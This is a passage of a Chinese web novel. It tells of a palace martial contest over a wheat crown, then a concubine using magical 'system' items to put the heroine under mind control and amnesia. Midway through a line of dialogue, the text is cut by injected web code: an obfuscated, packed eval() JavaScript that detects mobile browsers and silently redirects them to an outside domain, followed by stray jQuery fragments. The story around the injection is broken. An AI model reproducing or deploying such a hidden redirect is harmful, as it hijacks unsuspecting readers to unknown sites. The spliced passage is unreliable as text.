夜重临快一步,抓住安阳一只手臂,往怀里一带。


    可脚下有木桩碎屑,竟然也被绊一下,顿时步伐踉跄。


    安阳此刻却伺机摘冠,又因摔倒之势没拿稳甩了出去。


    夜重临也无暇,只能翻身护住,最终两人还是摔在木桩上。


    夜明厉赶来救助,可那麦冠刚好落到他手中。


    与此同时锣声响起,时间到了——


    比试的胜出者是夜明厉。


    本来要戴着麦冠才算胜利,但是夜重临和安阳郡主双双负伤无力再战,算作弃权。


    栽倒的位置也算好,倒也不是什么大伤口,划破些皮肉,养上半月便好。


    不过安阳郡主两次失手,到底是不是帮夜明厉作弊,就不得而知。


    因木桩断了,需要些时间重新换一根。


    而太子还在场下,风可雪无聊地打量起来周遭。


    皇帝和皇后似乎在闲聊什么,皇后又好像吩咐内侍什么。


    夜步舟依旧是在恩爱,楼婳则是和某个夫人唠嗑。


    其他人倒是没什么异常。


    约莫一炷香,新的高柱耸立演武场。


    这是太子爷夜酒樽的第一场比试。


    风可雪也想看看他行不行。


    究竟是真废物,还是假废物。


    随着“咚咚咚”的鼓声响起,蓄势待发的三人各自有了动作。


    周看林是最快动身的,慕然郡主紧跟其后。


    两人快步上柱,不出几瞬就爬了一大半。


    夜酒樽稍稍落后,还未来得及上柱,就见——


    那柱子竟然从根部倾倒下来,应是还没立稳。


    周看林和慕然两人避闪不及,双双落下来。


    因为高度至少三丈,两人都受点伤,无力再战。


    而夜酒樽就这样赢得了比赛。


    可给风可雪看傻了,原来是这么回事。


    她比自己更加不信任夜酒樽的能力。


    不过要是她处于皇后那个位置,她估计也会这么做。


    皇帝也干笑笑,罚了立柱人的俸禄,又赏赐周看林和慕然郡主金银作为补偿。


    最后的比试,要分胜负竟然是:夜酒樽,夜明厉和云歌郡主。


    风可雪预料却又没有预料准确。


    啧——


    夜酒樽到底什么身手,还是个未解之谜。


    这次重新立柱花了些时间,又找了几个侍卫测试一番才妥当。


    鼓声响起的那一刹那,夜酒樽率先攀登高柱。


    似乎是新高柱较为好爬,仅仅几个跃身,他就登上顶端,摘下麦冠。


    可还未戴到头上,云歌掌风袭来,夜酒樽侧身闪过。


    而夜明厉也登上高柱,攻向夜酒樽,他将冠背到身后。


    靠着灵巧的步伐躲避夜明厉凌厉的攻击。


    云歌也与夜明厉同步一左一右同时展开攻势,夜酒樽像是游鱼一般躲闪。


    虽然是新立的,但三人还是太过勉强,几番动荡,摇摇欲坠。


    五六个回合的争斗下,夜酒樽一个迂回戴着麦冠落到地面。


    夜明厉见此立即追击,落地那刻,云歌已然和夜酒樽争斗上。


    夜酒樽好似练得太极一般,几个回转就卸了云歌力气。


    可身后却出危机,夜明厉趁机取冠,夜酒樽防备不及,冠落入他手。


    云歌撇开夜酒樽,向着夜明厉扑去,步伐诡谲,速度之快。


    两人开始来回争夺,招式上你来我往,竟一时间不分胜负。


    夜酒樽伺机加入战局,以柔克刚,三方形成平衡之势。


    不愧是决赛,这确实好看。


    风可雪不禁为太子鼓掌,没想到他果真深藏不露。


    瞥一下皇后,发现她竟是一脸震惊,似乎是不相信自己的儿子有这身手。


    那麦冠已经在三人头上来回好几次,三人的身法身手似乎都差不多。


    已经过去大半炷香,他们已经从场地东边打到西边。


    有时动作太快,风可雪只能看到金色的麦冠在场地上转圈。


    终于看清时,麦冠竟是在夜酒樽手里,可还没一会又落到夜明厉头上。


    兴许是抢夺太耗费体力,夜酒樽和夜明厉的动作明显迟缓些。


    再看云歌,她动作有力,竟招招出其不意,冠又回到她手上。


    夜酒樽和夜明厉同时行动,竟然有几分默契,巧手化攻,一同对招云歌。


    云歌见此竟将麦冠摘下,抛到上方。


    二人顿时跃身去夺,夜酒樽就要触及瞬间。


    夜明厉一招推手打在他胸口,将他推出去三丈远,麦冠竟刚好落到夜明厉头上。


    云歌三步上前贴近他,避开他的攻势绕道身后就要再次夺冠。


    夜酒樽则是正面对上夜明厉,与他相互对招,似乎比方才更加卖力些。


    在两人围攻下,麦冠再一次被打飞。


    夜明厉想要夺回,而夜酒樽回敬刚刚一掌,将他推出去。


    云歌见此对着飞舞的麦冠一摆手,麦冠竟然飞回到她的手上。


    随着她带上的那刻,锣声响起,比赛终了。


    果然是这样。


    “夺麦冠的胜利者——云歌郡主。”


    内侍宣布结果,在场的人为她喝彩。


    风可雪也不由得鼓掌。


    她注意到云歌抛出麦时好似有什么,竟是学着夜步舟缠了丝线。


    怪不得她有时双手高举配合戴冠者的动作,原是不让丝线被发现和断裂。


    观赏台处,冠军胜利归来。


    夜酒樽和夜明厉也作为陪衬一同觐见皇帝皇后。


    皇帝对于这次的比试结果非常满意,笑着开口:


    “云歌郡主,朕果然没有看错你。你令朕赢了与国舅爷的赌约,朕十分心悦。


    除了这次应有的奖励外,朕决定多需你一个赏赐。你想要什么?”


    “圣上,这是您看人准,云歌也不负所望。”


    云歌思索一会,“真的要赏赐的,云歌想要开个特殊的书院。不知可否?”


    “区区书院,为何不可,又何特殊?”


    “只招收云歌愿意收的人。”


    “允你。”皇帝当即就答应了。


    “谢圣上隆恩,谢皇伯伯奖赏。”


    云歌拜谢时又补充:


    “云歌一定会开好这家书院,造福一方,并告诉天下百姓这是皇伯伯赐的。”


    “你这小嘴,抹了蜜似的。”


    皇帝示意她起身,之后又看向夜酒樽:“太子啊,你有些长进了。”


    “父、父皇,这、这都是……”


    夜酒樽还没说完,皇帝就打断他,“好了,朕知道了。”


    “是。”夜酒樽垂下眼帘,一阵酸涩涌在眉间。


    从风可雪的视角只能望到皇帝开心笑着,但看向太子后又多几分哀叹和嫌弃。


    她准备去迎接可能难受的太子,刚走两步,楼婳却迎上来:


    “风小姐,有件事情想要和你单独谈谈?”


    “哦?不知侍妾娘娘你找臣女何事?”


    风可雪不太习惯楼婳的自来熟,就将夜明厉的话送了回去:


    “你我身份悬殊,您是三殿下的侍妾,而臣女只是尚书之女罢了。”


    楼婳被呛到,一想到有事相求,也只能恭敬地行礼:


    “风小姐,何必呢?马上您就是太子妃,是妾得尊称您一声皇嫂。”


    “那也不必先行称呼,显得本小姐飞扬跋扈了。”


    风可雪刁难差不多了,便也给转圜余地,“究竟是何要事,又需要娘娘亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885721|159876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自来游说。”


    “关乎这未来的重要之事,这里人多眼杂,风小姐可否单独一谈。”


    “可太子殿下那边……”


    一抬眼望过去,夜明厉、夜重临似乎和夜酒樽交谈着什么。


    夜酒樽便对着她招招手,示意有事要先处理,便跟着他们走了。


    看来对方是铁了心要和她单独相处。


    现在的主动权还在她手上,要是逼急了指不定会做出什么。


    那不如将计就计。


    “太子殿下好像有事先去处理了。”


    楼婳也看见这一幕提醒道:“可否去那边的亭台相谈一番。”


    “唉——也罢。”


    风可雪看向那个小亭台,又觉寒气漫身:


    “不如找个小间,捧上暖炉,泡一盏茗香一谈如何?”


    “这——倒也尚可。只是妾身不熟悉这皇宫,不知这地方在何处?”


    楼婳没想到对方竟然会主动送上门,那能不瓮中捉鳖呢?


    “先前到有一处好地方,不知娘娘可愿一同前往。”


    “事情要紧。怎会不愿?”


    风可雪带着楼婳在皇宫穿行,不多时,便来到午膳时换衣的更衣室。


    一路上她都似有似无瞟着楼婳的神色,看是否有异常。


    但是楼婳也不是无能之辈,她尽力压下自己的惊诧。


    风可雪带她来这里,难道是发现之前的事情,是她做的?


    她不能露出马脚,即使知道有如何,她的道具是强制启动的。


    哪怕你是皇帝,也得乖乖照做。


    就是如此强大的道具副作用是——被使用者会记得释放过程。


    但是她可以用短暂失忆道具抵消,而叠加使用道具的代价是——双倍的积分。


    但是为了大利润,眼前不能抠抠搜搜。


    暖炉一直放在这屋,进去有些暖意。


    风可雪站立在铜镜前,从镜子里凝视楼婳,她倒是从容不迫。


    “楼婳姑娘,既然你我已经独处,那些礼数也就不必。有些体己话,我倒是想要问问你。”


    “风小姐,妾知道你在怀疑。但是真的是关乎未来的要紧事情。”


    楼婳滴水不漏,上前几步,贴近风可雪。


    【系统检测到敌对目标风可雪,强制指令道具为高级道具,不计算天运值,成功率0.3%,是否要花费997点积分堆满。】


    楼婳含泪选择是。


    【叠加使用暂时失忆道具为高级道具,不计算天运值,成功率0.15%,是否花费1997点积分堆满。】


    “楼姑娘,你真的只甘心当一个侍妾吗?”


    楼婳没有在意风可雪说什么,一心扑在道具上,操控系统点了是。


    看着自己95537的积分瞬间就下去三位数,十分肉疼。


    要不是这个世界结束给她三倍,也就是三万的积分,她才不会来。


    她只需要五千就可以满足十万,为保险她才多选一点。


    这个鬼系统指不定到时候还要提出各种无理要求。


    她都刷满了,看它怎么搪塞她。


    那一瞬间两道蓝光从楼婳的身体窜出扑向风可雪。


    被光融入身体的那刻,风可雪突然就没了意识。


    【强制指令已使用,暂时失忆已使用。】


    眼前的风可雪目光空洞,铜镜前的眼神没有焦距


    “你风可雪心悦二皇子夜重临,于今晚宫宴后与他私会。”


    说到这里,楼婳顿了一下,这单单私会被发现还不够,还得更炸裂一点。


    “将生米煮成熟饭,行鱼水之欢。”


    要是失败了呢?


    这崩坏的剧情就更难处理,要不就来点狠的。


    “如若不成,跳水自溺而亡。”